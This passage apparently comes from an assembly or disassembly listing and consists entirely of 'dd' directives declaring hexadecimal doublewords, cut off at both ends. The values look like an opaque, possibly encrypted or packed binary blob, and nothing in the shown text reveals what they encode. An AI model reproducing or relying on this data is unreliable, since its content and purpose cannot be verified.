0FFF85125h, 6D66464Fh, 63069049h, 0D7390A96h dd 940784B7h, 1CB63AB6h, 98A60E46h, 0AA03CD37h, 0C412259Ch dd 0FED23BC7h, 4AB05A44h, 0F0B2CA5Bh, 0E90F3C90h, 0A4711E93h dd 4EA6D120h, 0E83E25A2h, 0A0B418D4h, 0D1553E42h, 46909358h dd 0B7F97C98h, 0DEF29635h, 8343A42Bh, 98395A4h, 0FD9B2FADh dd 2F7A96F4h, 461241C2h, 0CD0B71C1h, 487C1F82h, 0DFD65218h dd 38F0D444h, 380E5AB7h, 4EDCF8ACh, 0C7ED9A59h, 223D3535h dd 6089D8ACh, 5C80967Fh, 7E946E32h, 1DFF4F12h, 85C66524h dd 5D377AABh, 5F2F1A90h, 56B2B7FDh, 2F288080h, 5593A3B0h dd 72C3C4A5h, 46432C6Ah, 5A37B9ECh, 72886792h, 6B7B901Dh dd 3F8DCD99h, 2EFFAE40h, 0B216A7F9h, 0A5F43834h, 27DAE48Eh dd 59A060D1h, 0D1CA7FE8h, 0A836A8A7h, 661A2F1h, 0A6BA70E0h dd 0C5CDA913h, 73AAFBD4h, 8144B5E1h, 46848C10h, 6038E24Ah dd 5FFB2EB3h, 8E45208Ch, 9EDB8E25h, 2C583953h, 2B45FDE8h dd 0EB2B0607h, 0ED8D479Eh, 30E17443h, 954CE49Dh, 90304C5Bh dd 0E44D449Bh, 0D1C9AE54h, 9C1E882Bh, 7129728Dh, 0AA8CBBA7h dd 0D64F5AFFh, 33A233C2h, 0CF842C2Eh, 2A4BC6BAh, 0D26FD415h dd 5E80000Dh, 673953F1h, 82C49F7h, 25258323h, 8C64499Ah dd 9280AC67h, 0D74E8474h, 592CB9B2h, 0E62B4B2Eh, 5ECA1340h dd 398384h, 6C71D9E0h, 7F0AAA94h, 61C7D6AAh, 3750A26Ah dd 6FC8BB90h, 2AB2F01Fh, 0E8962D2Fh, 213EFB71h, 0F6686AC3h dd 0F6115AF4h, 0E68C33E4h, 7CE9F032h, 0F022A8FAh, 4272C2CEh dd 0D0F4E20Eh, 0B4EF6FB1h, 0F383B14Dh, 89F23B38h, 6B2EB3A0h dd 46E78085h, 2B8486D4h, 0D0E4BFAFh, 0B9F8459Bh, 30D46767h dd 6776F5EEh, 3E5E76B5h, 4DDC1389h, 684AFCBBh, 0AFD6A70h dd 0D401BEB8h, 6FCF25BEh, 0CA17DF87h, 7FB078BBh, 0EAC781CAh dd 0FEC85379h, 0BA09999h, 6E022CC8h, 0B57A7A6Fh, 0EA9999B1h dd 89544182h, 63DAB2D6h, 2D755B81h, 5BC1ED7Ch, 238E864Dh dd 0DF2BDF93h, 8BB5275Ch, 0B7DB0BF6h, 0AC15B237h, 0E183ECE0h dd 71DB457h, 950DD938h, 490C612Ch, 151C5004h, 0F6449C09h dd 22CC6481h, 19617837h, 0B251797h, 0A89B6EB8h, 6431F948h dd 45261ABDh, 0F20826Eh, 6C87B188h, 0EBE8621Fh, 7621782Eh dd 66034B97h, 317AB3ADh, 22C75113h, 0C655D1C3h, 932ED3B5h dd 0A9D8591Ah, 0B5EF8580h, 8C48982Eh, 0E0808777h, 0ACC85AAFh dd 1AF1D1E7h, 0F154978Ch, 85ACB03h, 4F815BC0h, 9665F090h dd 0A8BBDE7Ch, 857F870Dh, 4C3E5F5Ch, 860FD6FAh, 7A1CAE18h dd 2C7A44E4h, 9A904126h, 483B8895h, 490337C1h, 4952CE5Eh dd 0EB5D7827h, 0C1F76CAFh, 7406A159h, 432C0CA9h, 0C6F859AAh dd 0A9FE128Ah, 4F1D656Bh, 1F24BC3Ah, 246CB745h, 34FBCFABh dd 54F086C9h, 66E76A49h, 6004F98Ah, 4B225856h, 0C8FC25C4h dd 2F6535F4h, 578A1C66h, 36CCFB6Fh, 0BFEDA87Ch, 51FAB7D9h dd 0DF71DC37h, 0FACC5739h, 70B08F11h, 0E877DF90h, 8E713C17h dd 8FD01904h, 0EA91E3E1h, 82C0C4D7h, 9D54586h, 10FE2FE5h dd 24CEC35Fh, 0EF09A15Dh, 4A9E188Eh, 34659209h, 3F5CFB57h dd 4E1B66E5h, 931D344h, 0F74A32C9h, 0EDB187B9h, 0F37EF54Ah dd 0F662842h, 0B69A6BABh, 68C30E53h, 2FF408D5h, 0E8C8FD30h dd 0BC266008h, 4722542Eh, 82865874h, 0E82335EAh, 0E9F21FCEh dd 52E3E052h, 0F6AE248Dh, 74887322h, 0C1AFB983h, 0EF553D7Eh dd 9A367E16h, 7D0F32AEh, 0C8ACD829h, 244E8F8Eh, 149EF55h dd 0DAB97CFh, 7D267107h, 9A9305B1h, 4430AA11h, 0A5BC3D3Fh dd 901D0A14h, 5F5BB822h, 4366E9EFh, 0F58B1AA8h, 5B292F55h dd 0AD83CB20h, 0BB8C2262h, 0BF9D831Fh, 58B9C4C2h, 2D2F8156h dd 2D629507h, 0C2774B9Ch, 3D63AF3Ah, 357F5ECBh, 0A101063Dh dd 5533ACA0h, 0D9D83D66h, 0AF677A77h, 1D67E35Eh, 8993808Bh dd 5775325Dh, 0E1B3DAFCh, 0C002BB10h, 0D2449717h, 64688015h dd 0CAC4C5EFh, 7338DCD1h, 0E3B8B995h, 11AD789Eh, 73BFBD2Bh dd 0C11117C2h, 1F0595F9h, 98C419DAh, 0E2ED15DDh, 773E9CA3h dd 0CE77BACh, 76751DE5h, 96676F80h, 666857D1h, 0A24E0D55h dd 3AD4F3B6h, 0EFC77223h, 5EEE58F8h, 0DF807D79h, 0C6755090h dd 64051DFh, 6A28C8EAh, 0E06D149Ah, 0CEA797E1h, 0CED12F64h dd 0E0052202h, 0FD06D4BFh, 4DAA15Fh, 6D9B553Ch, 937F5ECFh dd 2BACF29Dh, 569621Eh, 773E9C63h, 4E94E329h, 341089DAh dd 3F2E161Dh, 3B6410B3h, 0FC58EC49h, 15BE7C83h, 46D08F8Eh dd 0CBE4DA8Dh, 0D6C78509h, 0BE611AAAh, 7DB0A189h, 0C97BE3DAh dd 52E04BAEh, 797325BBh, 0E4AB9E0Ch, 0C4BB54E0h, 0DF9BEF46h dd 9219D074h, 7AAE7F9Dh, 8A151FA3h, 5CC2B3A3h, 0AB575525h dd 84D02AC5h, 0BC00FD9Dh, 0EB9DC1E9h, 2AC8F958h, 0DB563937h dd 0DE9A2E0Eh, 0F8C5E95Dh, 73D34FEBh, 0A661E22Dh, 0F9063157h dd 10B1491Bh, 6AF6DE49h, 25E24AF9h, 13EC29h, 0CB536498h dd 0F32A33D9h, 3B55258Ch, 4A8222B8h, 0D2630D68h, 0EBFD29FBh dd 0A4407EDCh, 0F9646790h, 0A8C35784h, 439EA9D3h, 0D9199963h dd 52E2CC20h, 99186FF5h, 5700AF43h, 64180AEAh, 0E0922707h dd 718C3F49h, 0E3F10C43h, 0F5B32AE4h, 923255C0h, 2908854Ah dd 1BBEEB55h, 377AD5BFh, 0DFD67CC4h, 343EECE7h, 138975EAh dd 293E80B9h, 0AE8FD735h, 80838049h, 0F6AFB653h, 139BF2AFh dd 278E2B5Fh, 0D2D14274h, 0CAC19A13h, 0D6EA81F7h, 2DE784C1h dd 1A481ECBh, 9EF66F1Dh, 598A016Ch, 5E64DF86h, 19B6BA0Dh dd 5076DE41h, 0EA3B70Ah, 6AB09C0Dh, 81E69D07h, 24FFB49h dd 0B120B861h, 0AB841A25h dd 848D74A3h, 0AF2180DBh, 2D564A1Fh, 29F31A59h, 8B5FE925h dd 7C898D85h, 0D6A62D85h, 0BBC39837h, 0F5611FF0h, 0E192E12Eh dd 0E9A85887h, 0A638733Ah, 0BC2279E7h, 0F73B3B0h, 7F713B4Dh dd 4E78727Eh, 0B582C976h, 54862FBDh, 28B92CBCh, 0AACF88A2h dd 0C6EACD2Ch, 60EF67FAh, 34DA8DD9h, 3F45B4E4h, 0C59F1971h dd 56A031Bh, 0BCF0259Ch, 0E73B9F05h, 15D56207h, 0A91081CEh dd 71038DF2h, 0FE2A1225h, 0AF155FDEh, 41AA4AC1h, 0E370ED5Fh dd 353B44BDh, 0B9F1D50Eh, 0B64FEDA5h, 8EC22644h, 41CC15D4h dd 71A9B372h, 0F625329Dh, 7B3881E7h, 0FD69103Bh, 0A5D317DDh dd 447942FFh, 45EF0DBAh, 202C1434h, 84B11547h, 6C38BE71h dd 102D4894h, 63DEA99Fh, 0F406C0DCh, 8D3C78D8h, 29667386h dd 7367E233h, 0C82EBD2h, 72617610h, 0A0204304h, 22C8DA2h dd 5F2A5F3Fh, 1B12578Bh, 0E652185Eh, 28970821h, 80E01F51h dd 0EC4DE577h, 95E2D4Ch, 0C57E7FBEh, 6D4C9A62h, 8153FA9Eh dd 0CBA357D5h, 678CDDF8h, 8DC66E7Ah, 0DBD6D71Dh, 0CBEADFF1h dd 4469715h, 0ABAAE1E9h, 414334AAh, 8C620D15h, 1338E54Dh dd 79407749h, 0B7302FEDh, 0AE8F3AF0h, 5694316h, 0B39B1E3Bh dd 1491F5C9h, 0A0D2929Bh, 0D514A13Ah, 0F24AC6ABh, 0F6A16F02h dd 0E00A1C1Dh, 265DBE34h, 70E27DF0h, 300097B1h, 20FCF28Fh dd 199CA437h, 0EFCA84A7h, 0A0439C97h, 0D27AA60Eh, 23E91319h dd 5FC4ACFCh, 1C7106AAh, 825F45CFh, 0FDCFB6B7h, 8DA68A14h dd 62069F10h, 0C671A4F2h, 8D724Ch, 343D4117h, 6C13BEC5h dd 403BDF2Eh, 66C54B6Ch, 0F92D8273h, 577A23C9h, 0C9185CB7h dd 0FDB643BEh, 0E19D18C2h, 664B302Dh, 1ABA483Bh, 9D7F0715h dd 7E9430E8h, 0D566EA3Ah, 5840AD77h, 0D11BA592h, 0C01B5525h dd 27D3D562h, 169CE0C1h, 93FB3766h, 7865B761h, 45C46B5Ch dd 0A42830F6h, 52C52BECh, 1C0ED587h, 1B6065CFh, 0A8A52728h dd 0AFF0262Fh, 0A4468C35h, 7132D5ABh, 0D56865F1h, 89FC5102h dd 0F98B960Ah, 27EC9CB3h, 0C97935D3h, 73052BF9h, 2336A3E6h dd 678A9DBAh, 6F62EC0Ah, 0AF046988h, 3F047733h, 0F10A1995h dd 195E6F8Bh, 7B3118E8h, 0F203A0DCh, 0A90D6E67h, 6ACEF157h dd 514788F4h, 0E1972FF4h, 6F282E83h, 3611583Fh, 0C9702524h dd 25D408Fh, 34691F73h, 0D821F2DDh, 0F8DDBFF9h, 42986542h dd 9F85F3F3h, 2B0FBCD2h, 2907015Ch, 0BDCF92A4h, 0A675B13h dd 4D5B8188h, 0C2A55D91h, 0E3F91C61h, 1926F883h, 6A4129B9h dd 0AAE851C6h, 9480D7B3h, 4D7E8B3Ah, 7E1C4C24h, 6615451Bh dd 3EDB6F68h, 80C0A5A2h, 43A1F560h, 14D6D8Dh, 646D4433h dd 5CAD85CAh, 5674D742h, 9A6EC883h, 2AF11BCAh, 6E6AF4A0h dd 0CF58BE07h, 0CB0F3F82h, 0BEBF8468h, 232B6037h, 7117469h dd 0E71E7830h, 0AAAAA5CAh, 78C3682Eh, 0B18C65DDh, 8C4F98C0h dd 1BB89C75h, 4DB7289Ah, 3BCF57B4h, 0B6B68355h, 0C2DF4145h dd 964B277Eh, 0CE4653F7h, 8871BA84h, 520E2C18h, 0BEC80459h dd 4B878390h, 0E82B8370h, 0C8461F8Fh, 0A4287716h, 50476C8Ah dd 994BCCCFh, 0E60758FFh, 9D03C9D1h, 1763365Ah, 0F48E1234h dd 988B2749h, 7560DF88h, 4A5AC0CFh, 42864D8Dh, 85592C74h dd 81D2A2D9h, 365865A4h, 15090216h, 0DD857C4Fh, 178E5AE3h dd 0FAE48211h, 0A3D22662h, 447F688Ch, 9C09A223h, 58EA9362h dd 0F1CFE543h, 76C393C5h, 0F564C4CEh, 43FE3348h, 0E2E77C27h dd 6BD45C79h, 2779EF7Ah, 8DE4C5C0h, 0E98F320Dh, 8136595Eh dd 192122Dh, 4261492h, 0D0A263D6h, 0C6DC58C6h, 746C13BEh dd 8A6238FBh, 0AE10A170h, 3D0866CBh, 68CFBDE5h, 0E070B66Dh dd 24AF790Ch, 0B6A84FEFh, 0E0D93B14h, 5617A643h, 6281046Eh dd 86D4BD5Dh, 76098B20h, 0E9E38BBDh, 0B471C46h, 80EACA1Ah dd 42D08889h, 943F7EEh, 5B9E380h, 5ECC1875h, 266189Ch dd 4B9CBCEh, 837F5FBFh, 5614E6FCh, 7D4D6A84h, 0C3C9EE4Eh dd 63E56203h, 58DF35BEh, 0C277EAB3h, 0C88665DCh, 0B0456D5Fh dd 0DA7F94BDh, 0B9DA0257h, 0BCC75AE1h, 0A074ED5Ah, 462F6CF5h dd 0BD8A339h, 1C4981Ch, 1BCB98EDh, 0A0B8D2C2h, 8CDF6A2Ch dd 0B8228ADBh, 57C3BC8Dh, 8ED18F21h, 0CA3F2DB3h, 0F2954579h dd 0FCA33A0Dh, 853776F9h, 0A7C27293h, 9CDF7EC0h, 6EBFB7CCh dd 0E5081BAAh, 4A15F32h, 522B964h, 847EA78Ah, 96F889EAh dd 0ED427826h, 48D663B1h, 33C96943h, 6DCA6Bh, 0F944E11Fh dd 109BE62Ch, 4FF4C6B4h, 3BBF253Fh, 45184935h, 7A483CEAh dd 6919D2CCh, 0FB620BB7h, 36A4DCD6h, 0E6F526A5h, 5E7EA4BDh dd 8974AE9Dh, 7D6661Fh, 8E6B9AF7h, 0B9DECF45h, 0F4800AFAh dd 114F9B4h, 20CD7D5Ah, 962948Fh, 1282D312h, 791A551Dh dd 442C72F7h, 6C746641h, 0B8A78951h, 7AD4CB8Bh, 1D99D413h dd 767FCBCAh, 0D9F28CD9h, 0E38F394Eh, 35D549D1h, 4498FD0Fh dd 0BBEEEC0Bh, 0B81E11F3h, 65311C31h, 14894304h, 384780FCh dd 0F738DC52h, 0DC8DB1D3h, 16E76755h, 60A325B6h, 3B667B6h dd 0D1F2D427h, 1B30753Bh, 0F25A0C0Ch, 0B75AE809h, 0F215140Bh dd 3D32CE78h, 21A3D489h, 0E8D521F7h, 7286F682h, 0CCA7308Fh dd 299A708h, 74566AF9h, 0B4D676E3h, 0ADB4A09Ch, 0EC20F8BBh dd 9F7C32A1h, 0AF824A93h, 623CF3CBh, 0C314EE05h, 3BE2AAB4h dd 31C289F4h, 628B1D20h, 89FDE327h, 5F21E4BAh, 0E9498D83h dd 65BC06E1h, 0AB3BF12Eh, 0A5A3907Eh, 1803D4F1h, 9E0D51F6h dd 46B8082Ch, 0ED12DA45h, 736E51FCh, 875348B9h, 80D11BBCh dd 55753C53h, 681B09Ch, 0D137061Ch, 2331C2BEh, 88852722h dd 0F8EC957Fh, 751E24Ch, 25E818Eh, 0FEF5E0D8h, 9D4795C2h dd 19AA59Eh, 7E0300FDh, 852824B8h, 459048FDh, 0A646C229h dd 0FD951358h, 0D65E773h, 3B36A334h, 0BD548817h, 9DD778Dh dd 883DFF45h, 5CCD9A3Dh, 0CFACDA01h, 3867472Bh, 0CBEF00EDh dd 2DAF81Dh, 0E58E2474h, 9E1F6437h, 0C292A497h, 4ADA2715h dd 90FAAB2Fh, 6CD4603Dh, 0A3406496h, 8F811883h, 60CB7056h dd 21C4EFD6h, 5B2E3DFBh, 50624427h, 4D0C7529h, 0E325F725h dd 9CF844F2h, 12A69471h, 0B136AF38h, 0E349D08Ch, 6BF194D3h dd 8763852Eh, 0A291AC1h, 8FE860CEh, 0B53F10A0h, 4A914E14h dd 0C1D63AD4h, 3DD17D71h, 9085C903h, 0B109DAF5h, 11C17E53h dd 88893B3Dh, 370CF2AEh, 0B5AEEC09h, 0EC994A22h, 4E27BD87h dd 0C423B9Ch, 0F561D358h, 520AB672h, 5FAF3020h, 0F7387314h dd 68BE452Ch, 8C00849Ch, 6B488E9Dh, 9083684Ah, 1A93896h dd 0C89D33Dh, 0F745B3F6h, 4D521367h, 94119EB2h, 0A2F9520Bh dd 0D064D418h, 0B61305Eh, 0A2CC6E1Eh, 6569683h, 26774D4Ch dd 949DC8C3h, 7736B4C3h, 29506146h, 0FA1A9449h, 0A07516Fh dd 0C11DE1ABh, 86A55045h, 726ECA6h, 0B041BAFAh, 0FD9A5639h dd 7492E1F8h, 3CDB255Ch, 0AE8E1525h, 0D03B09F9h, 7D64991Dh dd 0F6B4B112h, 0FEAA54A8h, 7F55442Eh, 86CE8F4Ah, 0F56302B0h dd 9C2DFC7Eh, 2AABE072h, 0F2525C4h, 0D33C9C16h, 14150F25h dd 354E02AFh, 95748959h, 5ACE05EAh, 0FF0B88F4h, 2CE18F45h dd 2BF49031h, 0CB36601Eh, 8432D2C7h, 0EF053A24h, 0E50DE001h dd 0F34BDC2Bh, 984F9919h, 8F918061h, 2C29517Dh, 89D90F93h dd 0C765D671h, 5845FD2Eh, 0A9479ECBh, 0A13282Dh, 38A4AC7Ch dd 61356C4Bh, 8E7CF2C6h dd 0E5C4D95Dh, 6B4A016h, 0E1EEFEDBh, 23AF7283h, 3EE8212Fh dd 5B42047Ch, 0D217C5C0h, 3167473Fh, 717E5552h, 262018CFh dd 0D81081A0h, 2CBAC1FEh, 0F9A55BC6h, 0CF01BF7Ch, 0E5B057Ch dd 0F185B501h, 0DE9F1B93h, 0BDDF8E57h, 9838FD02h, 8DCCD5h dd 14E46999h, 7EC5F8C1h, 0F15349D0h, 0DA661166h, 0E16C055h dd 0ED526B5Ah, 2F9BA86Ah, 0BC52E53Fh, 82590CDCh, 0A46B59A2h dd 48F6B20Ah, 0C0747999h, 0E35E0639h, 23C10F2Eh, 68CA3E32h dd 0B8F774EEh, 4AB2A3E9h, 8F89EF1Bh, 6E6B4837h, 0C36F8907h dd 78099C9Bh, 138C6769h, 0DAFF2F0Eh, 74611D49h, 257491C7h dd 819CFA77h, 0FE7A4510h, 0ABCC35FEh, 8CAC6105h, 0FD54D3DDh dd 0EF24C43h, 843D030Bh, 0FF712991h, 0A56D3E47h, 0C2BE54AEh dd 69820C5Fh, 1621DD12h, 8987F92Ah, 0A966597Eh, 1E891538h dd 0F784F128h, 0B0748E56h, 6490D0E3h, 1CDF7F9Dh, 23E03417h dd 0ED81182Eh, 0C6922188h, 0CA7A7E2Ah, 0A0E51A7Eh, 12897927h dd 5164CD5h, 74939B71h, 9360E139h, 9ADDE96Ch, 5483DABh dd 5613CA2Ah, 0AB22F587h, 0DE0414BCh, 67C89F53h, 1ECD041h dd 0A69D9F48h, 61DFC22Ah, 2D2EAEE0h, 0B94DA066h, 8661B494h dd 0D20D13F1h, 9C8C0F62h, 0DC3EA3BBh, 0A40B87AEh, 61FE2E7Eh dd 0AEF4BE15h, 0D2FEE9B4h, 4FEEA058h, 776853EBh, 0AC02F9A0h dd 0A243D27Eh, 9EF1FA34h, 0DD9B31FCh, 75673307h, 923EEAEEh dd 0A5CC7F7Bh, 0F5979D2h, 82B439A2h, 663B3249h, 55483DA2h dd 59E8BFF9h, 0A3E38F44h, 0A91ED38h, 9A240D0h, 7DD4574Eh dd 150DC73Dh, 1C89F069h, 0E57E33Eh, 653565F7h, 0FF66286Dh dd 3305CD7Ch, 89DCA8EBh, 68ACE680h, 5610B8F1h, 7BA7B63Ch dd 0FA8890Eh, 5B309AC8h, 6D642D8Eh, 1EC9B844h, 0D19C7982h dd 7EEB3221h, 2D673495h, 6E29BA26h, 40D57D4Fh, 0F6E41A54h dd 780C34CDh, 4D93C4A0h, 0A857FAF2h, 0F1EF9CAAh, 0E6D2BF4Dh dd 403DDF0Eh, 1189FEE2h, 0D4F8BD5Ah, 6E6D2F7Fh, 0A27DDA70h dd 39C097E0h, 0A37DC00Ah, 4CE28F67h, 2385F869h, 1381F1Dh dd 12167DBDh, 0A5134F02h, 0B183305Bh, 359F6993h, 7A6AD6EFh dd 96890CDDh, 94976719h, 204AA42Eh, 0F79F011h, 0B47308EFh dd 0F27DEE3Bh, 18FC5F8h, 0AEB312D8h, 0BEE555A5h, 80420B5Bh dd 0AC1492C9h, 9848209Bh, 71AEDCB2h, 87C23BEDh, 0EDDCDDE1h dd 4A5370E2h, 0E970E34Fh, 23532660h, 506DA175h, 9DD253C9h dd 0B264B805h, 8141C1FAh, 9468D824h, 7F7B4399h, 769279F1h dd 4C5C174Bh, 5D81E13Eh, 84BD037Ah, 93626708h, 0FD445D87h dd 593655C8h, 4BC6D314h, 0E2C6FAD5h, 0F31D06Ah, 0D2E02456h dd 0B4879B2Ah, 351D7A99h, 0B8967B4Dh, 29C6D965h, 61764584h dd 4C3744C7h, 2E42D7CCh, 0B785F061h, 90F65205h, 2536D4C5h dd 6A3D493Ch, 0B38DD4D8h, 0E7B09176h, 0FB794025h, 5A436395h dd 20ABECFh, 0A863795Dh, 0F39745C1h, 7F394C07h, 6A34D3FBh dd 27D82006h, 5131AA04h, 660AEF5Bh, 60F75E62h, 34D568ABh dd 5D4B3D90h, 0ABA41771h, 7977CCAAh, 98820FFh, 16FED797h dd 0BE20ED9Bh, 0D4AC1AA3h, 0F0A0D15Bh, 723A8A4Ah, 36DCE502h dd 2A3A232Eh, 0A520C3Ch, 23F11C2Eh, 9209AC23h, 0C03B8359h dd 7557377Eh, 9A6A5408h, 47A9A5A4h, 7CE0C73Eh, 34D7C595h dd 0DE8CABDEh, 0AB8AE681h, 0DFD87C61h, 62CC4009h, 0B844030Dh dd 0EE297848h, 2B0056A7h, 7365206Fh, 5C8C8699h, 0E4E945EEh dd 3268AE2Fh, 0D84F0403h, 0B7BAA4C8h, 0FD5E3CFEh, 50CC548Eh dd 1FFD79DAh, 834495FFh, 969D90F4h, 5425C594h, 465A14A7h dd 75E709EEh, 90DE3737h, 0CC03AAF0h, 6295752Dh, 6BD3C1A8h dd 29ABDA2Dh, 0F75D8FAFh, 360E624Dh, 0C6817107h, 7996A845h dd 7C070102h, 426717Ch, 0F1A12FF5h, 0DAAA14D8h, 0EBA4CEA9h dd 0BA834F77h, 0E9C10EDBh, 0E9476018h, 0FE9ACF43h, 435FF7B5h dd 0C52E1352h, 136FBD5Bh, 0CFC98B18h, 0A7483A20h, 0E7F9BDF6h dd 0C8B1205Eh, 0CE7C3A31h, 5D8111h, 641E5C84h, 7B7A6C21h dd 0CA0D692Fh, 471387ADh, 8ADD5703h, 0A7C49B87h, 0BB738BC0h dd 0B91A936h, 16A68590h, 665EF741h, 54BCA8EFh, 55988DDBh dd 9269CFD6h, 0B8704273h, 0B94E3992h, 263B83C7h, 0A9B11D3h dd 0E10372C2h, 0FE25D985h, 45E6461Eh, 8AD774Ah, 0EF14BDA9h dd 0ECBEC797h, 0DE02AAABh, 0FE7A3651h, 266E916Bh, 1CF8089Ch dd 0F8772B52h, 2846EBCEh, 0B70F5159h, 9BE165D4h, 0CF353F20h dd 54B23D56h, 0DA590BC8h, 0AC70849Ah, 0D672DC6Eh, 6B29CED7h dd 0DDEE2C2Eh, 0C5CF4208h, 435C6FDBh, 59F53CF4h, 0C028D773h dd 0DE5112F8h, 0E4F43FDAh, 451601B3h, 56C38C26h, 9605A809h dd 0DF51D0C8h, 0FCFB2071h, 95CB2C1Bh, 116E5A8Ch, 457C5C76h dd 6438A1BDh, 3F5BE111h, 0B3A232CAh, 0AD7F14Bh, 6C2FB665h dd 89C1B7E9h, 0E07A08A6h, 8FAB50F9h, 0ECAD61AAh, 9F396B9Fh dd 0D05D42A5h, 2B307294h, 0F7141417h, 54E0592Eh, 0D28AD416h dd 0CFCAE600h, 8365ACFAh, 0DD3F04D0h, 0F0DB26E4h, 13B4BD20h dd 3484599Dh, 0D64A6908h, 19C0B8F4h, 0C671D2D4h, 54A5D27h dd 46328767h, 0D0D78438h, 569ADF6Bh, 0DA9F1D78h, 0F1F5A433h dd 0BF358BB3h, 9C3AB7CDh, 0DDD6563Ah, 72E759A5h, 0DFF8742Ah dd 1E9D6F63h, 47F16D17h, 0B92E03D0h, 9B93D88Eh, 1E4B9C59h dd 9309D185h, 0FCCCE10Ah, 81AE30ADh, 925BF4A8h, 481B8335h dd 3E7D25Ah, 0B2101C0Dh, 0AF0C9465h, 0E55738Dh, 85B919DEh dd 5C98BFFh, 634C8AB4h, 97B791Ch, 241EE323h, 0F6240245h dd 0BEC7DCB5h, 86E492A5h, 8238C047h, 20DCEEC9h, 0C49A52ECh dd 78FC1BDAh, 21CDBE05h, 6D861D67h, 0C24B30B3h, 3A4D3A11h dd 1F29B5F1h, 0D05AED3Ah, 0F4DFEDFCh, 82547D39h, 0E50F3E8Fh dd 288336C6h, 8434EDCEh, 10FB3D6Dh, 2B5E97A1h, 0DD54758Ah dd 63EB4677h, 6221BA7Ch, 0D42BB9h, 0E268A881h, 5FE9C501h dd 79F28C48h, 0D8DC413Dh, 6992CCBDh, 3003599Ah, 93315A6Fh dd 24BF1FF5h, 7C83FA76h, 8E2C82B8h, 61A035C6h, 1BA4E649h dd 3184BFEh, 8DC245B1h, 0ACC346F7h, 0C5631190h, 0C4C27D12h dd 0D3C19D91h, 56D6FA4Dh, 59B3EE0Ch, 0A619479Eh, 0F741508Ch dd 6E8B7E12h, 52CF95Ch, 63397FC7h, 20F9CA4Dh, 43003736h dd 8CF713EEh, 0B5DD7359h, 84FB350Ah, 0FE72A8A3h, 6B30A49Bh dd 58D327DFh, 0A580C597h, 21EDCD31h, 7E238F39h, 1A3383Ch dd 0C4FB7ED6h, 0D941EB7h, 6495F060h, 0D7E53C4Eh, 18C5EDCAh dd 0B9A73FDDh, 0D9D0F327h, 41ACD9CBh, 8E37C4ABh, 87227911h dd 791EFBFFh, 13DC144Bh, 0DF3A4F89h, 92F6FAA6h, 2247C6A6h dd 0FC5EBE22h, 50B9F6F8h, 8C56070Fh, 5E903F92h, 3DC72A4Ah dd 0DEEF9C1Dh, 0C3981754h, 552DDC47h, 87B08F33h, 1EE68F45h dd 0FF63666Ch, 0AA997482h, 0A218C76h, 0AF259B60h, 86B5F55Bh dd 0E6F9EB4h, 4D43ADB3h, 0B5289AF2h, 9AF6D4C7h, 713272FBh dd 42061CAh, 0BDB1CA2Fh, 29CF8E72h, 36DB702Ch, 0B12C9768h dd 48B33F3Eh, 659E55E7h, 9CD2D3A4h, 56343181h, 0C961E844h dd 459CCA24h, 0FCD05BBBh, 71029CC7h, 0D5AC15C8h, 8497C15Ah dd 17E1E995h, 92F2228h, 0D2591304h, 5C541A24h, 0D7C6E302h dd 43866AACh, 0CDD9660Dh, 13AB887Ah, 0A0CCB415h, 0A18A1EDCh dd 6CE7E0CAh, 1DAE6C48h, 0D0F498E3h, 754ABE21h, 45AA3B31h dd 3EB060AAh, 4498FD1Eh dd 0CFA233EBh, 6BE04146h, 0AA25B1D3h, 28872869h, 0A0A46BEFh dd 7DA38837h, 9558B5A5h, 0E183FD3Ah, 3BB6128Dh, 0C39568F6h dd 3F8354F3h, 0F6B00414h, 74A27126h, 2F2CB2DDh, 3CBC5BA8h dd 24A62CC8h, 8EC03079h, 0D80377EDh, 34DA6477h, 61B3C888h dd 0DB769781h, 0BB5BD96Bh, 0DFDEC121h, 0E3DA6915h, 9604C7E8h dd 2E6CE7B3h, 0D7A1874Fh, 0F6BCC14Fh, 97C325A2h, 0F684CB44h dd 5CA390CCh, 620D2368h, 70C2271Eh, 6E11EF93h, 31076F74h dd 0C13E3F0h, 70B12DF8h, 8D9C3F23h, 0E9F47D1Ch, 0C5FBC5E6h dd 161A122h, 137112D2h, 0EDD5EBF8h, 0D85909F8h, 0EF68274h dd 59390F83h, 0FB4C7F84h, 0CCA6A092h, 8566DCDBh, 20747027h dd 90BA475Ah, 37BEAE74h, 49C2FEE6h, 39742BCBh, 0AE159F50h dd 6AA8C9C0h, 10436B27h, 26A57629h, 0AE9D560Ah, 6839586Bh dd 0CAA6F575h, 6E34525Eh, 81BD774Ch, 0B4ECCBD6h, 673A53C6h dd 6299E17h, 96F0EEB5h, 71A568D1h, 823D493Dh, 23312C2Fh dd 7C12406Ah, 8E0C547h, 7EA6D967h, 75DBB76Ah, 0A9FA3F78h dd 3179015Ch, 0D4C1E46Fh, 3598B397h, 780BB7D1h, 5C01AFE6h dd 998A6065h, 7B846FFBh, 0C02C1D41h, 4A9A4CB4h, 93C6B554h dd 76C44E6Fh, 0EAC45F4Eh, 0E82FBDD8h, 672FAF00h, 0D6A21579h dd 0EC33B2F1h, 0F95F197Bh, 58B7401Fh, 68BC8EA9h, 0B8279D09h dd 9C85A629h, 0ED289407h, 2F1A9B88h, 0C91B0E3Ch, 0B37B87C0h dd 0B70A6EC4h, 4A36A0Bh, 976AFF93h, 40B59435h, 0C4349BCAh dd 0E3C974ADh, 77EFD3DFh, 5BA3C438h, 32002268h, 4BFF6FABh dd 53D6B320h, 5CB7FB83h, 22AB1509h, 5AF0F000h, 7E9291D5h dd 15C47C50h, 0F0DF3BFEh, 8A3A3EF4h, 4C260539h, 7CAFD5A0h dd 0BE6A9FACh, 0EA0790AFh, 0ED5911D5h, 0BD5C61AAh, 0F1D89D82h dd 22BE6930h, 3E5D8209h, 3A2DF9A6h, 0FD4F328Bh, 4C609D1Ch dd 0AE3AD6B8h, 3E9800FEh, 0E76608F8h, 2F43C14h, 4A9151B7h dd 0BFED73E3h, 5403F058h, 0D411C914h, 0F163A7DFh, 0D8653C6Eh dd 0D86004h, 371215F7h, 2FCE3CBFh, 0E23FF6ADh, 0B1ACE2C6h dd 0C6FA34F4h, 9003BC69h, 0B90914E6h, 0D28B4594h, 22FA18F7h dd 0BD159BA3h, 398DFA9Eh, 6F6CF26Ah, 58AAC31Bh, 60B97AECh dd 4E1011D0h, 0A95FEB9Bh, 0C7337BA4h, 12900FA5h, 925AECDAh dd 75E298F2h, 0AFEF856Ch, 8BD98166h, 298A4C6Ah, 0BF2D1CA3h dd 0C47303F2h, 6D3A498Dh, 0EAA08E8h, 3A880E55h, 0B68C83Eh dd 0D93F1CDAh, 8703D4C2h, 0AFE7881Dh, 7BE51A29h, 5E408457h dd 18D85BCFh, 